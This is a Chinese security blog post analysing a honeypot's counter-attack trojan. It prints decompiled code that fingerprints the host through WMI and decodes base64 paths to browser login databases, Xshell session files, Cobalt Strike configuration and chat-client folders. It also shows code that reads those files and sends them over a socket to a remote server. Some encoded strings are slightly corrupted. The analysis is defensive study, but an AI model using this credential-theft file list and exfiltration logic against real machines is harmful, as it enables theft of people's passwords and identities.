大家好,我是观宇战队的kenant,今天继续防守技战法系列文章第二篇,针对蜜罐中的信息收集木马进行逆向分析。
一、背景介绍
在上一篇文章《防守实战-蜜罐反制之攻击链还原》中我们还原了蜜罐通过xss漏洞反制获取主机权限的攻击路径,由于篇幅原因,未对rce后植入主机的木马进行进一步的分析。本文计划针对该木马的行为以及原理进行进一步的逆向分析,根据分析为各位读者提供防范这类木马信息收集的思路。
二、木马逆向分析
2.1、COM接口利用
首先简单介绍一下COM,COM (Component Object Model) 是一种面向对象的软件组件技术,用于在不同的应用程序之间进行交互和通信。它提供了一种标准的、可移植的方式来创建和使用软件组件,无论这些组件是使用哪种编程语言编写的。
而在COM这个技术的使用过程中,我们需要了解两个概念,rclsid以及riid:
- RIID(Reference IID)是接口标识符的引用,它用于标识一个具体的 COM 接口。在 COM 中,每个接口都有一个唯一的 IID,通过该 IID,我们可以在代码中访问和使用 COM 接口。
- RCLSID(Reference CLSID)是类标识符的引用,它用于标识一个 COM 类。在 COM 中,每个类都有一个唯一的 CLSID,通过该 CLSID,我们可以实例化和访问 COM 类。
总之,通过给定的rclsid以及riid,我们可以定位到唯一的COM接口进行调用。其中RCLSID在注册表HKEY_CLASSES_ROOT\CLSID或HKLM\Software\Classes\CLSID下,RIID在HKEY_CLASSES_ROOT\Interface或HKLM\Software\Classes\Interface下。由于不同操作系统其COM接口存在差异,因此如果本机无对应的注册表值,可以通过搜索引擎进一步确定。
在本次分析过程中,该木马程序指定了如下的COM调用:
v11 = CoCreateInstance(&rclsid, 0, 1u, &riid, (LPVOID *)&ppv); //rclsid=4590F811-1D3A-11D0-891F-00AA004B2E24,riid=DC12A687-737F-11CF-884D-00AA004B2E24
根据对应的接口id进行搜索确定其对应的接口名为IWbemLocator。
然后该程序首先通过IWbemLocator->ConnectServer创建指定的计算机上的 WMI 命名空间的连接得到IWbemServices指针,然后通过IWbemServices->ExecQuery执行WQL语句获取计算机敏感信息,返回的信息存储到IEnumWbemClassObject指针中:
ppv->ConnectServer(L"ROOT\\CIMV2",0,0,0,0,0,0,&pProxy); //IWbemLocator->ConnectServer pProxy->ExecQuery)("WQL","SELECT Caption, DeviceID, FirmwareRevision, InterfaceType, Model, PNPDeviceID, SerialNumber FROM Win32_DiskDrive",48,0,&v15); //IWbemServices->ExecQuery
后续通过IEnumWbemClassObject->next方法遍历返回的对象IWbemClassObject的指针,最后通过IWbemClassObject->get方法获取返回对象的属性SerialNumber,该属性值可以用于区分和识别磁盘驱动器,最后在每次调用结束后使用对应的release方法释放对象,对应的伪代码如下:
while ( v15 ) { v12 = v15->Next(-1, 1, &v14, (ULONG *)&v16); if ( !v16 ) break; *(_QWORD *)&pvarg.vt = 0i64; pvarg.llVal = 0i64; v12 = v14->lpVtbl->Get(L"SerialNumber", 0, &pvarg, 0, 0); if ( v12 >= 0 ) { v5 = sub_XXXXXX((int)v4, pvarg.bstrVal); //对获取到的属性值进行操作 VariantClear(&pvarg); } v14->lpVtbl->Release(v14); } v15->lpVtbl->Release(v15);
通过上述代码的执行,该程序可以获取到主机的硬件信息从而唯一地标识该计算机。
2.2、敏感文件读取
接下来该程序读取主机的敏感信息文件用于发现与个人强关联的信息,具体方法如下:
首先该程序内置了许多敏感文件base64编码后的字符串,在运行时通过函数获取当前用户的主文件夹路径,后续将该路径与解码后的文件路径进行拼接得到完整路径的数组,该数组用于后续对敏感文件进行读取,对应的伪代码如下。
void *Src = common_getenv("USERPROFILE"); //获取当前用户的主文件夹路径 v2[12] = base64_decode("XC5hZ2dyZXNzb3IucHJvcA=="); v2[11] = base64_decode("XERvY3VtZW50c1xUZW5jZW50IEZpbGVzXCo="); v2[10] = base64_decode("XERvY3VtZW50c1xXZUNoYXQgRmlsZXNcKg=="); v2[9] = base64_decode("XERvY3VtZW50c1xXZUNoYXQgRmlsZXNc"); v2[8] = base64_decode("XERvY3VtZW50c1xOZXRTYXJhbmcgQ29tcHV0ZXJcN1xYc2hlbGxcU2Vzc2lvbnNcKi54c2g="); v2[7] = base64_decode("XERvY3VtZW50c1xOZXRTYXJhbmcgQ29tcHV0ZXJcN1xYc2hlbGxcU2Vzc2lvbnNc"); v2[6] = base64_decode("XC5naXRDb25maWc="); v2[5] = base64_decode("XEFwcERhdGFcTG9jYWxcR29vZ2xlXENocm39tZVxVc2VyIERhdGFcRGVmYXVsdFxMb2dpbiBEYXRh"); v2[4] = base64_decode("XEFwcERhdGFcUm39hbWluZ1xNb3ppbGxhXEZpcmVmb3hcUHJvZmlsZXM="); v2[3] = base64_decode("bG9naW5zLmpzb24="); v2[2] = base64_decode("a2V5NC5kYg=="); v2[1] = base64_decode("XEFwcERhdGFcTG9jYWxcTWljcm39zb2Z0XEVkZ2VcVXNlciBEYXRhXERlZmF1bHRcTG9naW4gRGF0YQ=="); v2[0] = base64_decode("XEFwcERhdGFcUm39hbWluZ1xUZW5jZW50XFFRTXVzaWNcUVFNdXNpY1NlcnZpY2VDb25maWcuaW5p");
解码出的文件如下:
\.aggressor.prop \Documents\Tencent Files\* \Documents\WeChat Files\* \Documents\WeChat Files\ \Documents\NetSarang Computer\7\Xshell\Sessions\*.xsh \Documents\NetSarang Computer\7\Xshell\Sessions\ \.gitConfig \AppData\Local\Google\Chrome\User Data\Default\Login Data \AppData\Roaming\Mozilla\Firefox\Profiles logins.json \AppData\Local\Microsoft\Edge\User Data\Default\Login Data \AppData\Roaming\Tencent\QQMusic\QQMusicServiceConfig.ini
可以非常明显的看到以上文件都是与个人信息强相关的文件,包括浏览器登录信息、社交聊天软件信息、音乐软件以及其他软件等可以帮助溯源的信息,各个文件中可能存储的敏感信息待后续进行进一步分析。
读取文件的相关伪代码如下:
if ( (hFile = CreateFileA(filename, 0x80000000, 0, 0, 3u, 0x80u, 0), hFile == (HANDLE)-1) ) { v8 = -1; result = 0; } else if ( GetFileSizeEx(hFile, &FileSize) ) { lpBuffer = (void *)mem_alloc(FileSize.LowPart); if ( ReadFile(hFile, lpBuffer, FileSize.LowPart, &NumberOfBytesRead, 0) ) { CloseHandle(hFile); *v4 = lpBuffer; v4[1] = FileSize.LowPart; v8 = -1; result = v4; } else { CloseHandle(hFile); v8 = -1 result = 0; } } else { v8 = -1; result = 0; }
对于文件目录则采用遍历读取的方式,并使用符号将读取的结果进行拼接,简化伪代码如下:
hFindFile = FindFirstFileA(dirname, &FindFileData); do { std::string::operator+=(FindFileData.cFileName); std::string::operator+=("||||"); } while ( FindNextFileA(hFindFile, &FindFileData) ); FindClose(hFindFile);
最后将读取到的敏感信息文件内容通过socket套接字发送至远程服务器:
s = socket(2, 1, 6); result = connect_wrap(s); if ( (_BYTE)result ) { if ( send(s, buf, 4, 0) != -1 ) { send_wrap(s, Src, Size, 2); sub_402C70(s, a1, a2, a5); } result = closesocket(s); } return result;
到此敏感文件读取分析完毕。
2.3、敏感文件分析
信息收集的木马与常见的远控木马不同,在一般的攻防实战过程中,我们通常以获取目标主机命令执行权限为主要目的,获取主机远控权限后再考虑进一步的攻击。信息收集木马则更看重对于个人敏感信息的获取,例如手机号、qq号、身份凭证等与个人强相关的信息。而作为一个蜜罐,其实现方式需要更加的自动化而非获取主机权限后手动进行信息收集;通过前面对exe文件的分析,我们也可以发现整个程序最核心的部分就在于通过敏感信息进行个人身份确定并为溯源提供证据,这也是该程序实现自动化收集个人敏感信息的方法。接下来我们针对该程序所利用的敏感信息收集方法进行逆向解析,探寻其所利用的敏感文件所存储的内容。
2.3.1 \.aggressor.prop文件
\.aggressor.prop是CS对应的配置文件,这个配置文件中值得关注的信息主要包括C2的ip、port,登录的用户名以及登录的密码等等,如下图所示。
应对措施:更改该配置文件的默认位置。
具体操作:由于笔者使用的CS版本未发现可以直接更改该路径的按钮,通过逆向对应的jar包,发现可以在启动文件时添加-Duser.home=/path/to/custom/home启动项来达到更改默认路径的效果,从而进一步避免被获取敏感配置信息。
2.3.2 \Documents\Tencent Files\*文件
这个文件夹下点进去就可以发现存在一个以qq账号作为文件名的文件夹,非常明显,在此就不多说。
应对措施:避免在攻击主机上下载qq客户端以及使用客户端进行登录。
2.3.3 \Documents\WeChat Files\*文件
该目录下首先存在一个以wxid开头的文件夹,对应的文件夹名就是对应用户的wxid(微信用户的唯一标识符)。如果你设置了微信号,上述wxid开头的文件夹内还存在一个文件夹名为account_微信号,通过这两个文件夹可以获得wxid以及微信号。进一步,在\Documents\WeChat Files\wxid_xxxxxxxxx\config\AccInfo.dat这个文件中,存储有可以在线访问的头像的url可以进一步佐证该攻击者的身份。
应对措施:避免在攻击主机上下载微信客户端以及使用客户端进行登录。
2.3.4 \Documents\NetSarang Computer\7\Xshell\Sessions\*.xsh文件
*.xsh文件是Xshell软件的会话文件,保存了Xshell的会话配置信息,包括主机地址、端口号、用户名、密码等。
打开一个.xsh文件,你会看到一系列的配置项,其中包括但不限于以下内容:
- Protocol: 指定连接协议,如SSH、Telnet等。
- Address: 主机地址或IP地址。
- Port: 连接端口号。
- User Name: 登录用户名。
- Password: 登录密码(有些会以加密形式保存)。
- Authentication: 认证方式,如PublicKey、Password等。
- Terminal: 终端设置,如字符编码、终端类型等。
- Environment: 环境变量设置。
- Proxy: 代理设置。
- Tunneling: 隧道设置。
- Macro: 宏指令设置。
- Printer: 打印设置。
- SSH Agent Forwarding: SSH代理转发设置。
应对措施:避免在攻击主机上直接使用xshell等远程连接软件连接远程主机。
2.3.5 \.gitConfig文件
.gitconfig文件是Git版本控制系统的配置文件,用于存储Git的全局配置信息和用户特定的配置信息。
.gitconfig文件是一个纯文本文件,可以用文本编辑器打开查看。它的内容包括以下几个部分:
- [user]:该部分保存了用户的全局配置信息,如用户名和电子邮件地址。
- name = 用户名:指定用户的名字。
- email = 邮箱地址:指定用户的电子邮件地址。
- [core]:该部分保存了Git核心配置信息,如默认编辑器、文件名大小写敏感性等。
- editor = 编辑器命令:指定默认使用的文本编辑器。
- autocrlf = true:自动将Windows换行符转换为Unix风格的换行符。
- [alias]:该部分定义了Git命令的缩写和别名。
- alias.command = 命令:为特定的Git命令定义别名或缩写。
- [color]:该部分定义了Git命令输出的颜色设置。
- ui = true:启用命令行输出的颜色。
可以看到其中有与个人强相关的git用户名以及邮箱地址为溯源提供有力信息。
应对措施:避免在攻击主机上直接配置git账号导致个人身份信息泄露。
2.3.6 \AppData\Local\Google\Chrome\User Data\Default\Login Data文件
Login Data是谷歌浏览器(Google Chrome)中存储登录凭据(用户名和密码)的文件。Login Data文件是一个SQLite数据库文件,可以使用SQLite数据库查看器或特定的工具来查看和检索其中的数据。
通过该文件,我们主要可以获得以下内容:
- 常访问的url地址
- 登录web页面用的账号
- 登录web页面用的密码(如果保存了密码)
应对措施:避免在攻击主机中访问与公司相关页面或使用与个人信息相关的账号登录网页,同时开启浏览器无痕模式并及时清理可能留下的输入信息等痕迹。
2.3.7 \AppData\Roaming\Mozilla\Firefox\Profiles文件
该目录下会存在一个随机字符串.default-release的文件夹,该文件夹下存在一个文件为logins.json,该文件中存储了与chrome浏览器相同的登录凭据。同时places.sqlite这个文件中存储有历史的浏览记录,可以进一步确定该攻击者的社会身份信息。
应对措施:避免在攻击主机中访问与公司相关页面或使用与个人信息相关的账号登录网页,同时开启浏览器无痕模式并及时清理可能留下的输入信息等痕迹。
2.3.8 \AppData\Local\Microsoft\Edge\User Data\Default\Login Data文件
由于Edge内核与chrome内核一致,因此该文件中存储的内容与chrome的内容一致,在此不做赘述。
2.3.9 \AppData\Roaming\Tencent\QQMusic\QQMusicServiceConfig.ini文件
该文件为qq音乐的配置文件,配置文件中存储有登录过的qq账号。
应对措施:避免在攻击主机上下载qq音乐客户端以及使用客户端登录。
三、总结
在本文中,我们首先介绍了该木马程序通过COM接口实现主机标识的手法,然后进一步分析了该木马程序通过读取与个人相关的敏感文件信息用于溯源的方法。可以看到,其反制的本质还是针对文件的默认位置进行敏感文件读取从而实现溯源,可以通过更改默认文件路径或拒绝在攻击主机使用与个人信息强相关软件来规避。欢迎读者根据本次分析的内容针对溯源反制以及反制溯源反制的方式进行进一步的深入研究。最后,欢迎咨询新华三安全服务,新华三安全服务可在红蓝对抗中持续为您保驾护航。